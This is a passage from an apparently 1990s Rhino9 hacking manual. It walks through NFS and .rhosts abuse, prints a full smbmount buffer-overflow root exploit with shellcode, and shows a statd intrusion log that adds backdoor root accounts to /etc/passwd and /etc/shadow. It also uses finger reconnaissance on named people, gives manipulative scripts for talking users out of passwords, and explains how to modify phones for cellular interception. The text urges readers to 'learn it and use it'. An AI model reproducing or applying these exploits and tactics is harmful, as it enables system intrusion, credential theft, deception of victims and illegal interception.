  10771. pamcourt::200:10023:Pam Court:/home/chameleon/mnt/pamcourt/:/bin/bash
  10772.                                  ^---we put this as the home dir, because this is                                      where 
  10773. the mounted home directory is located.
  10774. now, login locally as pamcourt
  10775.  
  10776. InterCore:/mnt/home/pamcourt/$ whoami
  10777. pamcourt
  10778. InterCore:/mnt/home/pamcourt/$ echo "+ +" > ~/.rhosts
  10779.  
  10780. This will make the rhosts entry as ++, which means anyone can remotely issue commands from 
  10781. it. Now, we remotely login to ninja.com as pamcourt
  10782.  
  10783. InterCore:/mnt/home/pamcourt/$rsh -l pamcourt www.ninja.com csh -i
  10784. Welcome to ninja.com
  10785. We are lame and left open a filesharing backdoor.
  10786. You therefore have a shell on ninja.com. The rsh and rlogin syntax is as follows:
  10787. rsh [ -l login ] [ -n ] host command
  10788. rlogin [ -E | -ex ] [ -l username ] [ -8 ] [ -L ] host
  10789.  
  10790. That is how to gain a user account onto a remote system. Also if you can spoof your dns or 
  10791. maybe the server has a router on it etcà that you can bounce through you could therefore 
  10792. access any files that are shared to that restricted host. Ex: in our above example if we spoofed as 
  10793. elite.ninja.com we would then have access to /usr. Although this technique is old it still works on 
  10794. many servers. So learn it and use it.
  10795.  
  10796. To check if a server has filesharing do: rpcinfo -p server.com
  10797. terra:/home/m/mgi/.noid $rpcinfo -p oberon.calstatela.edu
  10798.    program vers proto   port  service
  10799.     100000    4   tcp    111  rpcbind
  10800.     100000    3   tcp    111  rpcbind
  10801.     100000    2   udp    111  rpcbind
  10802.     100004    2   udp    713  ypserv
  10803.     100004    2   tcp    714  ypserv
  10804.     100003    2   udp   2049  nfs
  10805. If it has a like the above one that says nfs, then it has filesharing.
  10806.  
  10807. [16.0.3] COMPARISION TO THE MICROSOFT WINDOWS FILESHARING
  10808.  
  10809. NBTSTAT ûa www.ninja.com would show the NetBIOS Statistics which includes shared folders 
  10810. (directories)
  10811. C:\nbtstat ûA 204.73.131.11
  10812.  
  10813.        NetBIOS Remote Machine Name Table
  10814.  
  10815.    Name               Type         Status
  10816. ---------------------------------------------
  10817. STUDENT1       <20>  UNIQUE      Registered
  10818. STUDENT1       <00>  UNIQUE      Registered
  10819. DOMAIN1        <00>  GROUP       Registered
  10820. DOMAIN1        <1C>  GROUP       Registered
  10821. DOMAIN1        <1B>  UNIQUE      Registered
  10822. STUDENT1       <03>  UNIQUE      Registered
  10823. DOMAIN1        <1E>  GROUP       Registered
  10824. DOMAIN1        <1D>  UNIQUE      Registered
  10825. ..__MSBROWSE__.<01>  GROUP       Registered
  10826.  
  10827. MAC Address = 00-C0-4F-C4-8C-9D
  10828.  
  10829. C:\net view 204.73.131.11
  10830. Shared resources at 204.73.131.11
  10831.  
  10832.  
  10833.  
  10834. Share name   Type         Used as  Comment
  10835.  
  10836. ------------------------------------------------------------------------------
  10837. NETLOGON     Disk                  Logon server share
  10838. Test         Disk
  10839. The command completed successfully.
  10840.  
  10841. C:\net use x: \\204.73.131.11\test
  10842. The command completed successfully.
  10843.  
  10844.  
  10845.  [16.0.4] SMBXPL.C
  10846.  
  10847. /*
  10848. The default parameters to the program
  10849. often work, however I have found that the offset parameter sometimes
  10850. varies wildly, values between -600 and -100 usually work though, a quick
  10851. shell script will scan through these.
  10852. */
  10853.  
  10854. /*
  10855. ** smbexpl -- a smbmount root exploit under Linux
  10856. **
  10857. ** Author: Gerald Britton <gbritton@nih.gov>
  10858. **
  10859. ** This code exploits a buffer overflow in smbmount from smbfs-2.0.1.
  10860. ** The code does not do range checking when copying a username from
  10861. ** the environment variables USER or LOGNAME.  To get this far into
  10862. ** the code we need to execute with dummy arguments of a server and a
  10863. ** mountpoint to use (./a in this case).  The user will need to create
  10864. ** the ./a directory and then execute smbexpl to gain root.  This code
  10865. ** is also setup to use /tmp/sh as the shell as bash-2.01 appears to
  10866. ** do a seteuid(getuid()) so /bin/sh on my system won't work.  Finally
  10867. ** a "-Q" (an invalid commandline argument) causes smbmount to fail when
  10868. ** parsing args and terminate, thus jumping into our shellcode.
  10869. **
  10870. ** The shellcode used in this program also needed to be specialized as
  10871. ** smbmount toupper()'s the contents of the USER variable.  Self modifying
  10872. ** code was needed to ensure that the shellcode will survive toupper().
  10873. **
  10874. ** The quick fix for the security problem:
  10875. **          chmod -s /sbin/smbmount
  10876. **
  10877. ** A better fix would be to patch smbmount to do bounds checking when
  10878. ** copying the contents of the USER and LOGNAME variables.
  10879. **
  10880. */
  10881.  
  10882. #include <stdlib.h>
  10883. #include <stdio.h>
  10884.  
  10885. #define DEFAULT_OFFSET                 -202
  10886. #define DEFAULT_BUFFER_SIZE             211
  10887. #define DEFAULT_ALIGNMENT                 2
  10888. #define NOP                            0x90
  10889.  
  10890. /* This shell code is designed to survive being filtered by toupper() */
  10891.  
  10892. char shellcode[] =
  10893.         "\xeb\x20\x5e\x8d\x46\x05\x80\x08\x20\x8d\x46\x27\x80\x08\x20\x40"
  10894.         "\x80\x08\x20\x40\x80\x08\x20\x40\x40\x80\x08\x20\x40\x80\x08\x20"
  10895.         "\xeb\x05\xe8\xdb\xff\xff\xff"
  10896.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  10897.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  10898.         "\x80\xe8\xdc\xff\xff\xff/tmp/sh";
  10899.  
  10900. unsigned long get_sp(void) {
  10901.    __asm__("movl %esp,%eax");
  10902. }
  10903.  
  10904. void main(int argc, char *argv[]) {
  10905.   char *buff, *ptr;
  10906.   long *addr_ptr, addr;
  10907.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  10908.   int alignment=DEFAULT_ALIGNMENT;
  10909.   int i;
  10910.  
  10911.   if (argc > 1) bsize  = atoi(argv[1]);
  10912.   if (argc > 2) offset = atoi(argv[2]);
  10913.   if (argc > 3) alignment = atoi(argv[3]);
  10914.   printf("bsize=%d offset=%d alignment=%d\n",bsize,offset,alignment);
  10915.  
  10916.   if (!(buff = malloc(bsize))) {
  10917.     printf("Can't allocate memory.\n");
  10918.     exit(0);
  10919.   }
  10920.  
  10921.   addr = get_sp() - offset;
  10922.   fprintf(stderr,"Using address: 0x%x\n", addr);
  10923.  
  10924.   ptr = buff;
  10925.   addr_ptr = (long *) (ptr+alignment);
  10926.   for (i = 0; i < bsize-alignment; i+=4)
  10927.     *(addr_ptr++) = addr;
  10928.  
  10929.   for (i = 0; i < bsize/2; i++)
  10930.     buff[i] = NOP;
  10931.  
  10932.   ptr = buff + (128 - strlen(shellcode));
  10933.   for (i = 0; i < strlen(shellcode); i++)
  10934.     *(ptr++) = shellcode[i];
  10935.  
  10936.   buff[bsize - 1] = '\0';
  10937.  
  10938.   setenv("USER",buff,1);
  10939.   execl("/sbin/smbmount","smbmount","//a/a","./a","-Q",0);
  10940. }
  10941.  
  10942. [16.0.5] Basic Unix Commands
  10943.  
  10944. pwd  - Shows the current directory that you are in.
  10945. cd û change directory. Ex: cd hack would put you into the directory hack
  10946. cd .. would drop you back 1 directory. So if you are in /home/chameleon and you type cd .. you 
  10947. would then be in /home
  10948. ls û List files. ls ûa to show ALL files. ls ûl to list files in long format with byte size etc.. ls ûla to do 
  10949. both.
  10950. chmod û This command changes permissions of a file or directory. The syntax is as follows:
  10951. chmod who+,-,=r,w,x
  10952. who can be u (user) g (group) o (other) a (all) 
  10953. The + means to add the permission and - means to remove the permission. 
  10954. cat û This prints out stuff to the screen. Such as files. Ex: cat /etc/passwd this would print the 
  10955. password file to the screen. You could also do cat /etc/passwd > password.txt this would redirect 
  10956. the out put of passwd into the file password.txt, that is what the > is used for.
  10957. passwd û Changes password to a users account.
  10958. ps û Shows what processes you have running. ps ûe will show everything that you have running.
  10959. grep û Searches for words that you specify. This can be used to search a file for a certain word 
  10960. Ex: 
  10961. $ grep rhino9 elite.txt
  10962. Rhino9 is eliteà
  10963. $
  10964. we could also use this to find a username with out a password in the passwd file. We would do 
  10965. cat /etc/passwd | grep ::
  10966. mv û Moves (rename) files and directorys. Syntax: mv filename newfilename You can also pass 
  10967. folder arguments such as mv /etc/passwd /etc/passwd.txt Example mv command.
  10968. $ ls
  10969. rhino9
  10970. $ mv rhino9 rhino9.txt
  10971. $ ls
  10972. rhino9.txt
  10973. $
  10974. cp û Copy. Syntax: cp filename copiedfilename You can also pass folder arguments 
  10975. ex: cp /e/beer cp /e/beer.txt
  10976. man û Manual pages. Syntax man commandyouneedhelpon. Ex: man grep would give you help 
  10977. on the grep command
  10978. --help û Get help on certain commands. Ex: finger ûhelp
  10979. mkdir û Creates a directory. Syntax: mkdir newdirname
  10980. rmdir û Removes a directory. Syntax: rmdir dirname
  10981. rm û Removes files and folder. Syntax: rm filename rm ûR foldername (most systems)
  10982. write û Write to another users terminal. Syntax write user ttyname then hit enter then type stuff 
  10983. then ctrl+d
  10984. mesg û Turns on or off write access to your terminal. Syntax: mesg y (on) mesg n (off)
  10985. su û While you are already logged into a system. You can log in with another account. su 
  10986. username
  10987. w û Shows who is online.
  10988. who û shows who is online.
  10989.  
  10990. [16.0.6] Special Chracters in Unix:
  10991.  
  10992. * - matches any number of single characters eg. $ ls john* will list all files that begin with john
  10993.  [...] - matchs any one of the chracter in the [ ]
  10994. ? - matches any single chracter
  10995. & - runs a process in the backgroung leaving your terminal free
  10996. $ - values used for variables also $n - null argument
  10997. >- redirectes output ls -la > /tmp/list
  10998. < - redirects input to come from a file 
  10999. >> - redirects command to be added (appended) to the end of a file
  11000. | - pipe output (eg: cat /etc/passwd | mail tk85@hotmail.com will mail tk85@hotmail.com the 
  11001. /etc/passwd file)
  11002.  
  11003. [16.0.7] File Permissions Etc..
  11004.  
  11005. -rwxrwxrwx   1 user      group         5 Dec 22 12:52 filename
  11006. The first section is the file permissions, read & write etc..
  11007. If the first character is:
  11008. -    - is an ordinary file
  11009. d   - is a directory
  11010. b   - is a block file
  11011. c   - is a character file
  11012. The next 3 characters after the first char, are the owners rights to the file. They can be r or w or x 
  11013. or all 3 or whatever. The second 3 characters are the group rights to the file and they can be r or 
  11014. w or x or all 3 or whatever. The last 3 characters are everyone elses rights to the file and they can 
  11015. be r or w or x. 
  11016. r û read
  11017. w - write
  11018. x û execute
  11019. The next section after ûrwxrwxrwx is how many files are within that folder. If it is not a folder then 
  11020. it will be 1 and if it is a folder then it will be how many files are in it. The next section after that is 
  11021. the username section. It is the username of the owner of the file. So therefore whoeverÆs name is 
  11022. there has the owner rights as described earlier. Then after that is the groupname. It is the name 
  11023. of the group that the file is in. Whatever the groupname is the group rights apply to it. Then 
  11024. comes the file size then the file date and lastly the file name.
  11025.  
  11026. Passwd Entry Break Down
  11027. chameleon:k54doPeHte:0:0:root of all evil:/home/chameleon:/bin/bash
  11028. ^^^^^^^^^  ^^^^^^^^^^  ^ ^  ^^^^^^^^^^^   ^^^^^^^^^^^^^^^  ^^^^^^^^
  11029.        A                 B          CD           E                          F                    G
  11030. --------------------------------------------------------------------------------------------------------------------
  11031. Username | Encrypted pass | user id | group id | comments | home directory | shell the user uses
  11032.      A                 B                     C             D             E                       F                       G
  11033.  
  11034. [16.0.8] STATD EXPLOIT TECHNIQUE
  11035.  
  11036. Statd Is one of the best c file exploits in a long time. Statd single handedly exploits SunOS X.X & 
  11037. Sys V systems. It works by exploiting a buffer overflow through rpc and drops you into root on a 
  11038. remote system. There are statd scanners and other neat tools that can be found at, 
  11039. www.d-lab.com.ar/sekret/warez (home of the famous Code Zero). Once you have the statd exploit 
  11040. program (runs on some sunos & sys v servers) you will want to either use a scanner to scan a 
  11041. large list of servers for statd exploitable ones. One good way of finding statd exploitable server is 
  11042. going to yahoo and then searching for ôsys vö then try the different servers that yahoo finds. You 
  11043. can use a program called ôhostsö by Devix that will dump server names from html files. So if you 
  11044. goto yahoo and then search for sys v you could dump all the serves into a text file with the hosts 
  11045. program and then use a statd scanner to have it check for statd exploitable servers. DevixÆs hosts 
  11046. program can be found on the rhino9 site. Ok so say you have found a statd able server. You type 
  11047. at your prompt statd server.com Here is a log of an actual hack using statd. Note: Comments 
  11048. have *Æs around them.
  11049.  
  11050. InterCore:/home/chameleon/ $statd www.victim.com
  11051. *This server is statd exploitable but the server admin has been notified so donÆt try it.*
  11052. rpc.statd is located on tcp port 44417
  11053. sent exploit code, now waiting for shell...
  11054. *first thing to do is type, w, to see who is on and if any sysadmins are active*
  11055. # w
  11056.   5:27am  up 3 day(s),  6:35,  4 users,  load average: 0.05, 0.06, 0.07
  11057. User     tty           login@  idle   JCPU   PCPU  what
  11058. gabe     pts/3        Sat 1am  2:38   1:37         -tcsh
  11059. gburgyan pts/4        Fri11pm    55     20      2  pine
  11060. gabe     pts/5        Sat 7am  3:08     29         -tcsh
  11061. gburgyan pts/8        Mon 4am 23:22     16         -tcsh
  11062. *Note: statd is not telnet so you wont show up when someone does w etc.. so you are a ghost*
  11063. # cat /etc/passwd
  11064. root:x:0:1:System Administrators:/:/sbin/sh
  11065. daemon:x:1:1:0000-Admin(0000):/:
  11066. bin:x:2:2:0000-Admin(0000):/usr/bin:
  11067. sys:x:3:3:0000-Admin(0000):/:
  11068. adm:x:4:4:0000-Admin(0000):/var/adm:
  11069. kane:x:539:107:Kane Products FTP account:/usr/www/docs/kane/:/bin/true
  11070. ecco:x:540:107:ECCO:/usr/www/clients/ecco/:/bin/true
  11071. iodatsys:x:541:107:I/O Data Systems:/usr/www/clients/iodatasys/:/bin/true
  11072. nealschu:x:542:107:Neal Schuman FTP Account:/usr/www/clients/nealschuman/:/bin/true
  11073. jjames:x:543:107:Joanne James:/home/jjames:/bin/tcsh
  11074. nlock:x:543:107:nlock:/home/milo:/bin/tcsh
  11075. xlock:x:0:1:xlock:/:/sbin/sh
  11076. # echo b0bby:x:542:107:Rhino9 owns bitch:/usr/rhino9/:/bin/tcsh >> /etc/passwd
  11077. # echo b0b:x:0:1:Rhino Root:/:/sbin/sh >> /etc/passwd
  11078. *What this does is copys a low level user b0bby and a root user b0b. Remember that 2 >>Æs make 
  11079. the stuff appened to the passwd file. If it was one > then the whole thing would be over written 
  11080. and that is not good!*
  11081. # cat /etc/shadow
  11082. root:jLKY54WA3Teeo:10200::::::
  11083. daemon:NP:6445::::::
  11084. bin:NP:6445::::::
  11085. sys:NP:6445::::::
  11086. adm:NP:6445::::::
  11087. kane:*LK*:::::::
  11088. ecco:J/f78z945yJiQ:10199::::::
  11089. iodatsys:k/F455ygv0lKo:10199::::::
  11090. nealschu:Z1te54ytjJxtyY:10199::::::
  11091. jjames:q1dMg453A0LYLE:10199::::::
  11092. nlock:hEcxTL/4353p3FU:10216::::::
  11093. xlock::10200::::::
  11094. # echo b0bby::10199:::::: >> /etc/shadow
  11095. # echo b0b::10200:::::: >> /etc/shadow
  11096. *You must do the passwd and shadow echos as we have show here if the system uses 
  11097. shadowed passwords. What we have just done is add the logins to the shadow password*
  11098. #
  11099. *Now press control + ][ Then hit enter*
  11100. DropStatd> quit
  11101. *Type quit at the prompt. You are now back on your system. Now telnet back to www.victim.com*
  11102. InterCore:/home/chameleon/ $ telnet www.victim.com
  11103. Trying 205.133.121.210...
  11104. Connected to deals.4deals.com.
  11105. Escape character is '^]'.
  11106.  
  11107.  
  11108. UNIX(r) System V Release 4.0 (hq)
  11109.  
  11110. login: b0bby
  11111. *Then it will ask you to set a password*
  11112. VictimCorp$ su b0b
  11113. #
  11114. *What we did the was su into b0b, our root account. Now set a pass for b0b*
  11115. # passwd b0b
  11116. *Enter your pass*
  11117.  
  11118. There you go that basically all it takes to get root onto a system that is statd exploitable.
  11119. Thank you to so1o for that mad phat exploit.
  11120.  
  11121. [16.0.9] System Probing
  11122.  
  11123. The following are ways in which to gather information from a target host.
  11124. For the rest of this topic we will refrer to the target site which will be ninja.com.
  11125. These are in no order and are mostly unix commands used to gather information about a system.
  11126.  
  11127. [16.1.0] Port scanning:
  11128.  
  11129. You can find many port scanners on the internet. Search yahoo for portscan etcà
  11130. What is a port scanner?
  11131. What a port scanner does is it checks a remote host for open ports, ports listening for a 
  11132. connection request or remote services etcà The importance of port scanning a system is to find 
  11133. out the services it has open. If we know what services a server has open we can then research 
  11134. and try to find flaws for those services. Also we can do certain DoS attacks if we know what ports 
  11135. are open. There are many port scanners. Some of the more advanced ones are for unix and can 
  11136. not leave a trace on the remote server that you port scanned.
  11137.  
  11138. [16.1.1] rusers and finger command:
  11139. The commands syntax are as follows:
  11140. rusers [-a] [-h] [-i] [-l] [-u] [host ...]
  11141. finger 
  11142. -v, --version           display version number
  11143. -i, -l, -m, --info      display full user information
  11144. -b, -s, --brief         opposite of --info; only display login records
  11145. -f, --faces             display mugshot for user
  11146. -P, --port #p           connect to finger daemon using port or service #p
  11147. -h, --help              display this message
  11148.  
  11149. Now you will find however that most servers have turned off finger services. Almost no 
  11150. WindowsNT servers have finger services and most unix have shut off finger services. The rusers 
  11151. command is to check for people logged in with rsh or rlogin (remote login).
  11152. Side Note: There used to be an old bug in rlogin where you could type: rlogin ûlroot victim.com 
  11153. and when the remote server parsed the data it would not read right and you would get root 
  11154. access however this technique is old and rarely works anymore. By using finger and rusers we 
  11155. can get users names and that right there can lead to access of a system. Take nether.net for 
  11156. example. If you finger nether.net
  11157.  (finger @nether.net) you will get a list of user names. Now its been my experience that systems 
  11158. such as nether.net or places that give access to everyday users, 1 out of 70 or so users picks the 
  11159. same user name as there password. So it wouldnÆt take much time to finger @nether.net then 
  11160. telnet to nether.net and try all the users you got from the finger. Also since you have gotten a list 
  11161. of usernames from finger nether.net you could then send e-mails to the users saying that you are 
  11162. a system official at nether.net and need to verify there password etcà You would be surprised 
  11163. what a little mind games can do for you. Also a good 
  11164. finger ûl @victim.com can give you information such as the last time a user logged in, what type 
  11165. of shell there account is set to use, and where there home directory is. We can also watch for 
  11166. patterns in a users access to a system. We could see whether they come on at night or during the 
  11167. day. To drop back to the thing of knowing about a person and there information to try and guess 
  11168. or talk them out of there password. Here is a finger on purdue. Look at the interesting information 
  11169. we can get.
  11170.  
  11171. InterCore:/home/chameleon/ $finger @purdue.edu
  11172. [purdue.edu]
  11173. To use finger to search the Purdue Electronic Directory Service, specify your
  11174. query as a person's given name.  You can specify just a last name, a first
  11175. name and a last name, or a first name, last name, and middle initial, by
  11176. separating them with periods or commas.  For example,
  11177.  
  11178.         finger smyth@purdue.edu
  11179.         finger smyth,veronica@purdue.edu
  11180.         finger veronica.j.smyth@purdue.edu
  11181. Note: there was a lot more then this but I snipped it to make this shorter. Basically what it is 
  11182. saying is you got to put a user@server.com instead of just server.com or in this case, 
  11183. purdue.edu.
  11184. InterCore:/home/chameleon/ $
  11185.  
  11186. So by looking at what it said I see it says finger smyth@purdue.edu as an example. Now this is 
  11187. probably the same example that comes with this particular finger daemon but what the hell, lets 
  11188. try it.
  11189.  
  11190. InterCore:/home/chameleon/ $finger smyth@purdue.edu
  11191. [purdue.edu]
  11192. Output of your query: smyth
  11193. Name                               Dept/School          Phone           Status
  11194.      Email
  11195. -------------------------------------------------------------------------------
  11196. veronica j smyth                   computing center     +1 777 99-99999 staff
  11197.      <no email address available>
  11198. michael steel smyth                engineering and tec                  student
  11199.      <no email address available>
  11200. barbara j wilson smyth             liberal arts and sc                  student
  11201.      <no email address available>
  11202. william paul smyth                 freshman engineerin                  student
  11203.      <no email address available>
  11204. erin margaret smyth                science                              student
  11205.      <no email address available>
  11206. cheryl lynn smyth                  liberal arts                         student
  11207.      <no email address available>
  11208. -------------------------------------------------------------------------------
  11209. For a more detailed response, finger "query_smyth@directory.purdue.edu".
  11210. For help, finger "help@directory.purdue.edu".
  11211. InterCore:/home/chameleon/ $
  11212.  
  11213. Now this helps us in some ways and doesnÆt. We can see through this finger full names of 
  11214. students and what there major is. So what you ask? You know how much information you can get 
  11215. from someoneÆs legal full name? Chameleon will teach you how much later on in this document. 
  11216. So yes this finger was good because it got us personal information about a few account holders 
  11217. at purdue.edu even an administrators number but, what are the user names to these accounts? 
  11218. Well most universities issues there students accounts in the same way. They usually make the 
  11219. username for a students account first letter of first name and then full last name. So if your name 
  11220. is Kevin Hall your user name would be khall@purdue.edu. Now we could then try and finger that 
  11221. user. So we would do the following:
  11222.  
  11223. InterCore:/home/chameleon/ $finger khall@purdue.edu
  11224. [purdue.edu]
  11225.  
  11226. Output of your query: khall
  11227.  
  11228. Name                               Dept/School           Phone                Status
  11229.      Email
  11230. -----------------------------------------------------------------------------------
  11231. Kevin G. Hall            computing center   +1 213 463-6694   student
  11232.    khall@purdue.edu
  11233. -----------------------------------------------------------------------------------
  11234.  
  11235. For a more detailed response, finger "query_khall@directory.purdue.edu".
  11236. For help, finger "help@directory.purdue.edu".
  11237. InterCore:/home/chameleon/ $
  11238.  
  11239. We see that the finger dameon says for a more detailed response to do 
  11240. finger query_khall@direcroty.purdue.edu So we type in the command
  11241.  
  11242. InterCore:/home/chameleon/ $finger query_khall@directory.purdue.edu
  11243. [scribe.cc.purdue.edu]
  11244.  
  11245. Output of your query: query_khall
  11246.  
  11247. ----------------------------------------
  11248.           name: Kevin G. Hall
  11249.         campus: west lafayette
  11250.          title: sen syst anlyst/sen pace tech cons
  11251.     department: computing center
  11252.       building: potr
  11253.   office_phone: +1 765 49-68285
  11254.          email: khall@purdue.edu
  11255. ----------------------------------------
  11256.  
  11257. For help, finger "help@directory.purdue.edu".
  11258. InterCore:/home/chameleon/ $
  11259.  
  11260. Now this is interesting. We have a user name, khall, we have the users full name, Kevin G. Hall 
  11261. and we know his title and department. So from this information you will learn later you can get his 
  11262. home phone number and address. If we were to give the student a call at their house or dorm 
  11263. etcà It wouldnÆt be too hard for anyone with a little bit of social engineering skills to talk this user 
  11264. out of his password. 
  11265. There is a basic example of how to get information about a logged on user.  
  11266.  
  11267. [16.1.2] Mental Hacking, once you know a username.
  11268.  
  11269. Note: This is mostly going to work for systems that provide users with accounts and not company 
  11270. servers.
  11271. If you (the (cracker/hacker) are a Male then you would want to try to finger and get a username of 
  11272. a woman. You could then do 2 things. You will probably get there full name but if not read my 
  11273. (chameleons) later paper about getting peopleÆs information. For simplicities sake say you 
  11274. already have the users phone number which might sound hard to do but isnÆt. So say you have 
  11275. their phone number and itÆs a woman. Call the lady up. A true social engineer will know right 
  11276. away what kind of woman it is. On you can push over and mow down or one that has a strong 
  11277. head on her shoulders. If she answers and sounds lame then go for the approach of a stern voice 
  11278. saying its imperative etcà that you verify her user name and password. If the lady seems to have 
  11279. a strong head on her shoulders then you would want to talk nicer and flirt a bit. If you are a 
  11280. woman (cracker/hacker) then you will want to find a males account. Women let me tell you this. 
  11281. The best hackers and crackers out there are women. If you are a woman then you will want to try 
  11282. to get into a maleÆs account. Once you have a male account holders phone number call him up. 
  11283. Women you got it easier see you donÆt need to know what type of guy it is. All guys are horny. So 
  11284. talk with your sexy voice. Flirt with them etcà It is easier for women to talk people out of 
  11285. passwords. If you are a guy (cracker/hacker) and are trying to get a guys password then have a 
  11286. girlfriend of yours try to do it. Remember this most of all, KNOW the person you are calling. You 
  11287. could call them up and tell them you are from the local high school and are doing a survey and 
  11288. then ask them a bunch of questions to get to know what they like and then when you later call to 
  11289. get there password you use this information to get on there better side and win there trust. This is 
  11290. called mental hacking and it is not that hard at all. One thing that the hackers of today have lost is 
  11291. there social skills. Some systems donÆt have software exploits. Sometimes you have to go the 
  11292. extra mile. Note: DonÆt get me wrong and think I am some weirdo about the way I talked about 
  11293. men and women but, I do know people well.
  11294.  
  11295. [17.0.0] Making a DDI from a Motorola Brick phone
  11296. By Virtual of Cybrids CSE
  11297. www.cybrids.org
  11298.  
  11299.  
  11300. OK, here it is, i'm not gonna talk about it a whole lot, just tell you 
  11301. what i've done, and what i want to see done. As of this point I have 
  11302. found the Clock, Data, and the spot where you would feed your audio input 
  11303. from your scanner that has WBFM.
  11304.  
  11305. First you will need to locate the chip that has the clock and data pins. 
  11306. This will be labeled SC3800xxFN, or something close to that, xx being some 
  11307. numbers. Having trouble already, then i'll tell ya another way, its the 
  11308. biggest PLCC (square) chip in the phone.  Now look at the chip, there is a 
  11309. notch on the front of it which means pin 1. Now look at the opposite side 
  11310. of that dot, to the pins on the bottom, count over from the left, pins 8 
  11311. and 9 from the left side are the ones you want. I have included a picture 
  11312. of the inside of a brick phone. The red arrow points to the side of the 
  11313. chip that I am talking about. Pin 8 is the data and Pin 9 is the clock. 
  11314. Those are the pins that will be fed to your computer for decoding.
  11315.  
  11316. The receiver chip is what you need to modify next. It's on the circuit board 
  11317. with the big white rectangle thing, and the big peices of metal, its the 
  11318. only square chip you can see. Its got a few numbers on it and i'll put em 
  11319. here to help you find it, 185, X94R01, something to that effect, but just 
  11320. look for the only PLCC chip visible. I have marked this chip with a blue 
  11321. circle.  With the phone oriented like in the picture, cut the trace coming 
  11322. from the bottom pin on the right of the chip.  Connect your scanner's OUTPUT 
  11323. to the other side of that trace (not the one conecting to the chip).
  11324. Cut it in the center so you will have room to solder to either side 
  11325. of the wire trace. The pin coming off the chip is what the cellular phone 
  11326. is receiving, the other side of the wire trace that you cut is where its 
  11327. being sent. 
  11328.  
  11329. That about sums up what you need to know, if you have any other non-bonehead 
  11330. questions, i'm in #cellular on EFnet most all the time and #Cybrids on
  11331. Undernet.
  11332.  
  11333. Now here is what I want to see happen, for all the smart guys out there. 
  11334. Scanners are cool, but why use it, the phone is capable of receiving the 
  11335. RECC without a scanner, I am working on makin this happen right now, but 
  11336. with others help, i'm sure this could get done a lot faster, and would 
  11337. benefit everyone greatly.
  11338.  
  11339.  
  11340. Cable connections to the computer
  11341.  
  11342. DDI        Parallel Port
  11343.  
  11344. Clock       10
  11345. Data        15
  11346. Ground    18
  11347.  
  11348. Special Note: The graphic that is referenced in this portion can be obtained at the rhino9 website 
  11349. or directly from Virtual. Find him in #cybrids on Undernet. 
  11350.  
  11351. (Beware of new technology coming out from companies such as Cellular One, technologies such 
  11352. as FPF Protection which requires you to enter an access code to make out going calls on your 
  11353. cellphones.)
  11354.                 
  11355. [18.0.0] Pager Programmer
  11356.  
  11357. By Virtual of Cybrids CSE
  11358.  
  11359.     In order to build a pager programmer, you are going to need a few things.  A soldering 
  11360. Iron, the pager you are going to program, and a few brain cells.  You will also need the software 
  11361. that is used to program your specific pager which can be found on my web page at the bottom of 
  11362. the text. The diagram I have included should be self explanatory but I will say a few things about 
  11363. it just incase.  The only chip needed is the Max233 which will convert the serial port voltage down 
  11364. to TTL level so the pager can understand it.  Normally a serial port communicates with +15 volts 
  11365. being a logic high and -15 being a logic low.  The chip converts this down to TTL which is 0 - 5 
  11366. volts where 0 is low and 5 is high.  The chip is shown inside the plastic hood that covers the 
  11367. connector.  Make sure your hood is plastic and not metalized as this is real metal coating and will 
  11368. short the pins.  This side will plug into your serial port.  The 4 pin connector shown will go to the 
  11369. pager.  Where it says +5 volts is where you supply the chip with 5 volts, its not a 5 volt output.  A 
  11370. circuit like this could be used to generate the +5 volts using the very common 7805 voltage 
  11371. regulator.                  _________
  11372.                             |       |
  11373.                             | 7805  |
  11374.                             |_______|
  11375.                              |  |  |
  11376.                  Vin ________|  |  |_________Vout
  11377.                                 |
  11378.                               -----
  11379.                                --- gnd
  11380.                                 -     
  11381. Vin  = Voltage in, 6-12 volt wall adaptor, + goes to Vin, - goes to gnd
  11382. Vout = +5 volts out
  11383. gnd = ground, could be thought of as minus
  11384.  
  11385.  
  11386.     You will also have to supply your pager with power, which is probably 1.5 volts.  Then 
  11387. you will have to find the transmit and receive pins on your pager and hook it up to the 
  11388. programmer accordingly.  The only way to do this is to open up your pager and look around for 
  11389. something that might look like a programming connector or pad with 3 or 4 wires, don't confuse 
  11390. this with the connector that connects the processor and receiver boards in Motorola Bravo 
  11391. pagers.  I can't give exact instructions here because unfortunately I do not own every pager in the 
  11392. world.  If they aren't hooked up correctly when you run the pager programming software it will just 
  11393. give you an error but won't affect the pager, so just switch the wires around.  Make sure you 
  11394. hooked the ground to the pager too, or else nothing will work.  The gnd wire should be connected 
  11395. to the minus terminal on the pagers battery connector.
  11396.      The chip, hood, and connector can be bought at DigiKey.  This is by far the simplest and 
  11397. easiest to build design I've seen on the net. Motorola's web page shows all of their pager designs 
  11398. so you can figure out what type of pager you have, and can then get the software for it.
  11399.  
  11400. Programming Software:    http://www.cybrids.org/virtual/
  11401. Motorola:        http://www.mot.com/MIMS/MSPG/cgi-bin/prodcat.cgi
  11402.  
  11403. Special Note: The graphic that is referenced in this portion can be obtained at the rhino9 website 
  11404. or directly from Virtual. Find him in #cybrids on Undernet. 
  11405.  
  11406. [19.0.0] The End
  11407.  
  11408. Rhino9 and the other people that attributed to this document have enjoyed passing on their 
  11409. knowledge and will continue to do so. Be on the look out next year for The MHD version 2.0.
  11410.  
  11411. Stop persecuting and criminalizing the curious.
  11412.  
  11413. Peace.
  11414.